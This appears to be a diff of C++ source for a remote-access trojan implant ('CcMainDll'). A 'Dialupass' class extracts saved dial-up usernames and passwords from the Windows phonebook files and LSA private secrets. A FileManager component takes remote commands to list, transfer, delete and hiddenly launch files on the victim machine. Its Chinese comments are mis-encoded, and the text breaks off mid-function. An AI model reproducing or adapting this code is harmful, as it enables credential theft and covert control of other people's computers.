||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: ClearBuffer
|
||||
//
|
||||
// DESCRIPTION: Clears/Resets the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
void CBuffer::ClearBuffer()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// Force the buffer to be empty
|
||||
m_pPtr = m_pBase;
|
||||
|
||||
DeAllocateBuffer(1024);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Copy
|
||||
//
|
||||
// DESCRIPTION: Copy from one buffer object to another...
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
void CBuffer::Copy(CBuffer& buffer)
|
||||
{
|
||||
int nReSize = buffer.GetMemSize();
|
||||
int nSize = buffer.GetBufferLen();
|
||||
ClearBuffer();
|
||||
if (ReAllocateBuffer(nReSize) == -1)
|
||||
return;
|
||||
|
||||
m_pPtr = m_pBase + nSize;
|
||||
|
||||
CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: GetBuffer
|
||||
//
|
||||
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
PBYTE CBuffer::GetBuffer(UINT nPos)
|
||||
{
|
||||
return m_pBase+nPos;
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Delete
|
||||
//
|
||||
// DESCRIPTION: Delete data from the buffer and deletes what it reads
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::Delete(UINT nSize)
|
||||
{
|
||||
// Trying to byte off more than ya can chew - eh?
|
||||
if (nSize > GetMemSize())
|
||||
return 0;
|
||||
|
||||
// all that we have
|
||||
if (nSize > GetBufferLen())
|
||||
nSize = GetBufferLen();
|
||||
|
||||
|
||||
if (nSize)
|
||||
{
|
||||
// Slide the buffer back - like sinking the data
|
||||
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
|
||||
|
||||
m_pPtr -= nSize;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLen());
|
||||
|
||||
return nSize;
|
||||
}
|
46
CcMainDll/CcMainDll/common/Buffer.h
Normal file
46
CcMainDll/CcMainDll/common/Buffer.h
Normal file
@@ -0,0 +1,46 @@
|
||||
// Buffer.h: interface for the CBuffer class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
|
||||
#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <windows.h>
|
||||
class CBuffer
|
||||
{
|
||||
// Attributes
|
||||
protected:
|
||||
PBYTE m_pBase;
|
||||
PBYTE m_pPtr;
|
||||
UINT m_nSize;
|
||||
|
||||
|
||||
// Methods
|
||||
protected:
|
||||
UINT ReAllocateBuffer(UINT nRequestedSize);
|
||||
UINT DeAllocateBuffer(UINT nRequestedSize);
|
||||
UINT GetMemSize();
|
||||
public:
|
||||
void ClearBuffer();
|
||||
|
||||
UINT Delete(UINT nSize);
|
||||
UINT Read(PBYTE pData, UINT nSize);
|
||||
BOOL Write(PBYTE pData, UINT nSize);
|
||||
UINT GetBufferLen();
|
||||
int Scan(PBYTE pScan,UINT nPos);
|
||||
BOOL Insert(PBYTE pData, UINT nSize);
|
||||
|
||||
void Copy(CBuffer& buffer);
|
||||
|
||||
PBYTE GetBuffer(UINT nPos=0);
|
||||
|
||||
CBuffer();
|
||||
virtual ~CBuffer();
|
||||
private:
|
||||
CRITICAL_SECTION m_cs;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
|
320
CcMainDll/CcMainDll/common/Dialupass.cpp
Normal file
320
CcMainDll/CcMainDll/common/Dialupass.cpp
Normal file
@@ -0,0 +1,320 @@
|
||||
// Dialupass.cpp: implementation of the CDialupass class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "Dialupass.h"
|
||||
#include "until.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CDialupass::CDialupass()
|
||||
{
|
||||
m_nMax = 0;
|
||||
m_lpCurrentUser = GetCurrentLoginUser();
|
||||
m_nRasCount = GetRasEntryCount();
|
||||
m_PassWords = new PASSWORDS[m_nRasCount];
|
||||
OneInfo = new COneInfo* [m_nRasCount];
|
||||
m_nUsed = 0;
|
||||
m_nCount = 0;
|
||||
GetRasEntries();
|
||||
}
|
||||
|
||||
CDialupass::~CDialupass()
|
||||
{
|
||||
for(int i=0; i<m_nRasCount; i++)
|
||||
delete OneInfo[i];
|
||||
delete m_PassWords;
|
||||
if (!m_lpCurrentUser)
|
||||
delete m_lpCurrentUser;
|
||||
}
|
||||
|
||||
DWORD CDialupass::GetRasEntryCount()
|
||||
{
|
||||
int nCount = 0;
|
||||
char *lpPhoneBook[2];
|
||||
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
|
||||
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
|
||||
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
|
||||
lstrcat(szPhoneBook1, m_lpCurrentUser);
|
||||
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
|
||||
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
|
||||
lpPhoneBook[0] = szPhoneBook1;
|
||||
lpPhoneBook[1] = szPhoneBook2;
|
||||
|
||||
DWORD nSize = 1024 * 4;
|
||||
char *lpszReturnBuffer = new char[nSize];
|
||||
|
||||
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
|
||||
{
|
||||
memset(lpszReturnBuffer, 0, nSize);
|
||||
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
|
||||
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
|
||||
{
|
||||
nCount++;
|
||||
}
|
||||
}
|
||||
delete lpszReturnBuffer;
|
||||
return nCount;
|
||||
}
|
||||
|
||||
LPTSTR CDialupass::GetLocalSid()
|
||||
{
|
||||
union
|
||||
{
|
||||
SID s;
|
||||
char c[256];
|
||||
}Sid;
|
||||
DWORD sizeSid=sizeof(Sid);
|
||||
char DomainName[256];
|
||||
DWORD sizeDomainName=sizeof(DomainName);
|
||||
SID_NAME_USE peUse;
|
||||
LPSTR pSid;
|
||||
|
||||
|
||||
if (m_lpCurrentUser == NULL)
|
||||
return NULL;
|
||||
|
||||
if(!LookupAccountName(NULL,m_lpCurrentUser,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
|
||||
if(!IsValidSid(&Sid))return NULL;
|
||||
|
||||
|
||||
typedef BOOL (WINAPI *ConvertSid2StringSid)(PSID , LPTSTR *);
|
||||
ConvertSid2StringSid proc;
|
||||
HINSTANCE hLibrary = LoadLibrary("advapi32.dll");
|
||||
proc = (ConvertSid2StringSid) GetProcAddress(hLibrary, "ConvertSidToStringSidA");
|
||||
if(proc) proc((SID*)&Sid.s,&pSid);
|
||||
FreeLibrary(hLibrary);
|
||||
return pSid;
|
||||
}
|
||||
|
||||
|
||||
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
|
||||
{
|
||||
lsa->Length=lstrlen(AValue)*2;
|
||||
lsa->MaximumLength=lsa->Length+2;
|
||||
lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
|
||||
MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
|
||||
}
|
||||
|
||||
|
||||
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
|
||||
{
|
||||
LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
|
||||
LSA_HANDLE LsaHandle;
|
||||
LSA_UNICODE_STRING LsaKeyName;
|
||||
NTSTATUS nts;
|
||||
PLSA_UNICODE_STRING OutData;
|
||||
|
||||
ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
|
||||
nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
|
||||
if(nts!=0)return NULL;
|
||||
AnsiStringToLsaStr(KeyName, &LsaKeyName);
|
||||
nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
|
||||
if(nts!=0)return NULL;
|
||||
nts=LsaClose(LsaHandle);
|
||||
if(nts!=0)return NULL;
|
||||
return OutData;
|
||||
}
|
||||
/////////
|
||||
void CDialupass::ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
|
||||
{
|
||||
char AnsiPsw[1024];
|
||||
char chr,PswStr[256];
|
||||
PswStr[0]=0;
|
||||
WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
|
||||
|
||||
for(int i=0,SpacePos=0,TXT=0;i<Length/2-2;i++)
|
||||
{
|
||||
chr=AnsiPsw[i];
|
||||
if(chr==0)
|
||||
{
|
||||
SpacePos++;
|
||||
switch(SpacePos)
|
||||
{
|
||||
case 1:
|
||||
PswStr[TXT]=chr;
|
||||
strcpy(m_PassWords[m_nUsed].UID,PswStr);
|
||||
break;
|
||||
case 6:
|
||||
PswStr[TXT]=chr;
|
||||
strcpy(m_PassWords[m_nUsed].login,PswStr);
|
||||
break;
|
||||
case 7:
|
||||
PswStr[TXT]=chr;
|
||||
strcpy(m_PassWords[m_nUsed].pass,PswStr);
|
||||
m_PassWords[m_nUsed].used=false;
|
||||
m_nUsed++;
|
||||
break;
|
||||
}
|
||||
ZeroMemory(PswStr,256);
|
||||
TXT=0;
|
||||
}
|
||||
else
|
||||
{
|
||||
PswStr[TXT]=chr;
|
||||
TXT++;
|
||||
}
|
||||
if(SpacePos==9)SpacePos=0;
|
||||
}
|
||||
}
|
||||
///////////
|
||||
void CDialupass::GetLsaPasswords()
|
||||
{
|
||||
PLSA_UNICODE_STRING PrivateData;
|
||||
char Win2k[]="RasDialParams!%s#0";
|
||||
char WinXP[]="L$_RasDefaultCredentials#0";
|
||||
char temp[256];
|
||||
|
||||
wsprintf(temp,Win2k,GetLocalSid());
|
||||
|
||||
PrivateData=GetLsaData(temp);
|
||||
if(PrivateData!=NULL)
|
||||
{
|
||||
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
|
||||
LsaFreeMemory(PrivateData->Buffer);
|
||||
}
|
||||
|
||||
PrivateData=GetLsaData(WinXP);
|
||||
if(PrivateData!=NULL)
|
||||
{
|
||||
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
|
||||
LsaFreeMemory(PrivateData->Buffer);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool CDialupass::GetRasEntries()
|
||||
{
|
||||
|
||||
int nCount = 0;
|
||||
char *lpPhoneBook[2];
|
||||
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
|
||||
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
|
||||
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
|
||||
lstrcat(szPhoneBook1, m_lpCurrentUser);
|
||||
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
|
||||
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
|
||||
lpPhoneBook[0] = szPhoneBook1;
|
||||
lpPhoneBook[1] = szPhoneBook2;
|
||||
|
||||
|
||||
OSVERSIONINFO osi;
|
||||
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|
||||
GetVersionEx(&osi);
|
||||
|
||||
if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
|
||||
{
|
||||
GetLsaPasswords();
|
||||
}
|
||||
|
||||
DWORD nSize = 1024 * 4;
|
||||
char *lpszReturnBuffer = new char[nSize];
|
||||
|
||||
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
|
||||
{
|
||||
memset(lpszReturnBuffer, 0, nSize);
|
||||
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
|
||||
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
|
||||
{
|
||||
char *lpRealSection = (char *)UTF8ToGB2312(lpSection);
|
||||
char strDialParamsUID[256];
|
||||
char strUserName[256];
|
||||
char strPassWord[256];
|
||||
char strPhoneNumber[256];
|
||||
char strDevice[256];
|
||||
memset(strDialParamsUID, 0, sizeof(strDialParamsUID));
|
||||
memset(strUserName, 0, sizeof(strUserName));
|
||||
memset(strPassWord, 0, sizeof(strPassWord));
|
||||
memset(strPhoneNumber, 0, sizeof(strPhoneNumber));
|
||||
memset(strDevice, 0, sizeof(strDevice));
|
||||
|
||||
|
||||
int nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0,
|
||||
strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]);
|
||||
|
||||
if (nBufferLen > 0)//DialParamsUID=4326020 198064
|
||||
{
|
||||
for(int j=0; j< (int)m_nRasCount; j++)
|
||||
{
|
||||
if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0)
|
||||
{
|
||||
lstrcpy(strUserName, m_PassWords[j].login);
|
||||
lstrcpy(strPassWord, m_PassWords[j].pass);
|
||||
m_PassWords[j].used=true;
|
||||
m_nUsed++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
GetPrivateProfileString(lpSection, "PhoneNumber", 0,
|
||||
strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]);
|
||||
GetPrivateProfileString(lpSection, "Device", 0,
|
||||
strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]);
|
||||
char *lpRealDevice = (char *)UTF8ToGB2312(strDevice);
|
||||
char *lpRealUserName = (char *)UTF8ToGB2312(strUserName);
|
||||
Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord,
|
||||
strPhoneNumber, lpRealDevice);
|
||||
delete lpRealSection;
|
||||
delete lpRealUserName;
|
||||
delete lpRealDevice;
|
||||
}
|
||||
}
|
||||
delete lpszReturnBuffer;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CDialupass::Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device)
|
||||
{
|
||||
for(int i=0; i<m_nMax; i++){
|
||||
if(0==strcmp(OneInfo[i]->Get(STR_DialParamsUID), DialParamsUID)){
|
||||
|
||||
if(Name!=NULL)
|
||||
OneInfo[i]->Set(STR_Name,Name);
|
||||
if(User!=NULL)
|
||||
OneInfo[i]->Set(STR_User,User);
|
||||
if(Password!=NULL)
|
||||
OneInfo[i]->Set(STR_Password,Password);
|
||||
if(PhoneNumber!=NULL)
|
||||
OneInfo[i]->Set(STR_PhoneNumber,PhoneNumber);
|
||||
if(Device!=NULL)
|
||||
OneInfo[i]->Set(STR_Device, Device);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if(m_nMax < m_nRasCount){
|
||||
|
||||
OneInfo[m_nMax] = new COneInfo;
|
||||
OneInfo[m_nMax]->Set(STR_DialParamsUID,DialParamsUID);
|
||||
OneInfo[m_nMax]->Set(STR_Name,Name);
|
||||
OneInfo[m_nMax]->Set(STR_User,User);
|
||||
OneInfo[m_nMax]->Set(STR_Password,Password);
|
||||
OneInfo[m_nMax]->Set(STR_PhoneNumber,PhoneNumber);
|
||||
OneInfo[m_nMax]->Set(STR_Device,Device);
|
||||
m_nMax ++;
|
||||
return TRUE;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
|
||||
{
|
||||
if (UTF8Str == NULL || lstrlen(UTF8Str) == 0)
|
||||
return "";
|
||||
int nStrLen = lstrlen(UTF8Str) * 2;
|
||||
char *lpWideCharStr = new char[nStrLen];
|
||||
char *lpMultiByteStr = new char[nStrLen];
|
||||
|
||||
MultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
|
||||
WideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);
|
||||
|
||||
delete lpWideCharStr;
|
||||
return lpMultiByteStr;
|
||||
}
|
96
CcMainDll/CcMainDll/common/Dialupass.h
Normal file
96
CcMainDll/CcMainDll/common/Dialupass.h
Normal file
@@ -0,0 +1,96 @@
|
||||
// Dialupass.h: interface for the CDialupass class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
|
||||
#define AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <windows.h>
|
||||
#include <ras.h>
|
||||
#include <raserror.h>
|
||||
#include <shlobj.h>
|
||||
#include <ntsecapi.h>
|
||||
#pragma comment(lib, "rasapi32.lib")
|
||||
|
||||
#define STR_DialParamsUID 0
|
||||
#define STR_Name 1
|
||||
#define STR_User 2
|
||||
#define STR_Password 3
|
||||
#define STR_PhoneNumber 4
|
||||
#define STR_Device 5
|
||||
#define STR_MAX 6
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
char UID[256];
|
||||
char pass[256];
|
||||
char login[256];
|
||||
bool used;
|
||||
}PASSWORDS, *PPASSWORDS;
|
||||
|
||||
class COneInfo{
|
||||
private:
|
||||
char *Str[STR_MAX];
|
||||
|
||||
public:
|
||||
COneInfo(void)
|
||||
{
|
||||
for(int i=0;i<STR_MAX;i++)
|
||||
Str[i]=NULL;
|
||||
}
|
||||
|
||||
virtual ~COneInfo(void)
|
||||
{
|
||||
for(int i=0;i<STR_MAX;i++){
|
||||
if(Str[i]!=NULL)
|
||||
delete [] Str[i];
|
||||
}
|
||||
}
|
||||
|
||||
void Set(int Kind,char *str)
|
||||
{
|
||||
if(str==NULL)
|
||||
return;
|
||||
if(Str[Kind]!=NULL){
|
||||
delete [] Str[Kind];
|
||||
}
|
||||
Str[Kind] = new char[strlen(str)+1];
|
||||
strcpy(Str[Kind],str);
|
||||
}
|
||||
char * Get(int Kind)
|
||||
{
|
||||
return Str[Kind];
|
||||
}
|
||||
};
|
||||
|
||||
class CDialupass
|
||||
{
|
||||
public:
|
||||
CDialupass();
|
||||
virtual ~CDialupass();
|
||||
int GetMax(void){ return m_nMax;}
|
||||
COneInfo * GetOneInfo(int n){return OneInfo[n];}
|
||||
private:
|
||||
LPCTSTR UTF8ToGB2312(char UTF8Str[]);
|
||||
int m_nMax;
|
||||
int m_nUsed;
|
||||
int m_nCount;
|
||||
int m_nRasCount;
|
||||
char *m_lpCurrentUser;
|
||||
COneInfo **OneInfo;
|
||||
PASSWORDS *m_PassWords;
|
||||
BOOL Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device);
|
||||
DWORD GetRasEntryCount();
|
||||
void GetLsaPasswords();
|
||||
void ParseLsaBuffer(LPCWSTR Buffer,USHORT Length);
|
||||
PLSA_UNICODE_STRING GetLsaData(LPSTR KeyName);
|
||||
void AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa);
|
||||
LPTSTR GetLocalSid();
|
||||
bool GetRasEntries();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
|
782
CcMainDll/CcMainDll/common/FileManager.cpp
Normal file
782
CcMainDll/CcMainDll/common/FileManager.cpp
Normal file
@@ -0,0 +1,782 @@
|
||||
// FileManager.cpp: implementation of the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "FileManager.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILESIZE;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
|
||||
{
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
SendDriveList();
|
||||
}
|
||||
|
||||
CFileManager::~CFileManager()
|
||||
{
|
||||
m_UploadList.clear();
|
||||
}
|
||||
|
||||
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_LIST_FILES:// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||
SendFilesList((char *)lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_DELETE_FILE:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
DeleteFile((char *)lpBuffer + 1);
|
||||
SendToken(TOKEN_DELETE_FINISH);
|
||||
break;
|
||||
case COMMAND_DELETE_DIRECTORY:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
////printf("ɾ<><C9BE>Ŀ¼ %s\n", (char *)(bPacket + 1));
|
||||
DeleteDirectory((char *)lpBuffer + 1);
|
||||
SendToken(TOKEN_DELETE_FINISH);
|
||||
break;
|
||||
case COMMAND_DOWN_FILES: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
|
||||
UploadToRemote(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_CONTINUE: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
|
||||
SendFileData(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_CREATE_FOLDER:
|
||||
CreateFolder(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_RENAME_FILE:
|
||||
Rename(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_STOP:
|
||||
StopTransfer();
|
||||
break;
|
||||
case COMMAND_SET_TRANSFER_MODE:
|
||||
SetTransferMode(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_FILE_SIZE:
|
||||
CreateLocalRecvFile(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_FILE_DATA:
|
||||
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
|
||||
break;
|
||||
case COMMAND_OPEN_FILE_SHOW:
|
||||
OpenFile((char *)lpBuffer + 1, SW_SHOW);
|
||||
break;
|
||||
case COMMAND_OPEN_FILE_HIDE:
|
||||
OpenFile((char *)lpBuffer + 1, SW_HIDE);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
|
||||
{
|
||||
LPTSTR p, pszDirCopy;
|
||||
DWORD dwAttributes;
|
||||
|
||||
// Make a copy of the string for editing.
|
||||
|
||||
__try
|
||||
{
|
||||
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
|
||||
|
||||
if(pszDirCopy == NULL)
|
||||
return FALSE;
|
||||
|
||||
lstrcpy(pszDirCopy, pszDirPath);
|
||||
|
||||
p = pszDirCopy;
|
||||
|
||||
// If the second character in the path is "\", then this is a UNC
|
||||
// path, and we should skip forward until we reach the 2nd \ in the path.
|
||||
|
||||
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
|
||||
{
|
||||
p++; // Skip over the first \ in the name.
|
||||
p++; // Skip over the second \ in the name.
|
||||
|
||||
// Skip until we hit the first "\" (\\Server\).
|
||||
|
||||
while(*p && *p != TEXT('\\'))
|
||||
{
|
||||
p = CharNext(p);
|
||||
}
|
||||
|
||||
// Advance over it.
|
||||
|
||||
if(*p)
|
||||
{
|
||||
p++;
|
||||
}
|
||||
|
||||
// Skip until we hit the second "\" (\\Server\Share\).
|
||||
|
||||
while(*p && *p != TEXT('\\'))
|
||||
{
|
||||
p = CharNext(p);
|
||||
}
|
||||
|
||||
// Advance over it also.
|
||||
|
||||
if(*p)
|
||||
{
|
||||
p++;
|
||||
}
|
||||
|
||||
}
|
||||
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
|
||||
{
|
||||
p++;
|
||||
p++;
|
||||
|
||||
// If it exists, skip over the root specifier
|
||||
|
||||
if(*p && (*p == TEXT('\\')))
|
||||
{
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
while(*p)
|
||||
{
|
||||
if(*p == TEXT('\\'))
|
||||
{
|
||||
*p = TEXT('\0');
|
||||
dwAttributes = GetFileAttributes(pszDirCopy);
|
||||
|
||||
// Nothing exists with this name. Try to make the directory name and error if unable to.
|
||||
if(dwAttributes == 0xffffffff)
|
||||
{
|
||||
if(!CreateDirectory(pszDirCopy, NULL))
|
||||
{
|
||||
if(GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
free(pszDirCopy);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
// Something exists with this name, but it's not a directory... Error
|
||||
free(pszDirCopy);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
*p = TEXT('\\');
|
||||
}
|
||||
|
||||
p = CharNext(p);
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
// SetLastError(GetExceptionCode());
|
||||
free(pszDirCopy);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
free(pszDirCopy);
|
||||
return TRUE;
|
||||
}
|
||||
bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
|
||||
{
|
||||
char lpSubKey[500];
|
||||
HKEY hKey;
|
||||
char strTemp[MAX_PATH];
|
||||
LONG nSize = sizeof(strTemp);
|
||||
char *lpstrCat = NULL;
|
||||
memset(strTemp, 0, sizeof(strTemp));
|
||||
|
||||
const char *lpExt = strrchr(lpFile, '.');
|
||||
if (!lpExt)
|
||||
return false;
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
||||
RegCloseKey(hKey);
|
||||
memset(lpSubKey, 0, sizeof(lpSubKey));
|
||||
wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
memset(strTemp, 0, sizeof(strTemp));
|
||||
nSize = sizeof(strTemp);
|
||||
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
lpstrCat = strstr(strTemp, "\"%1");
|
||||
if (lpstrCat == NULL)
|
||||
lpstrCat = strstr(strTemp, "%1");
|
||||
|
||||
if (lpstrCat == NULL)
|
||||
{
|
||||
lstrcat(strTemp, " ");
|
||||
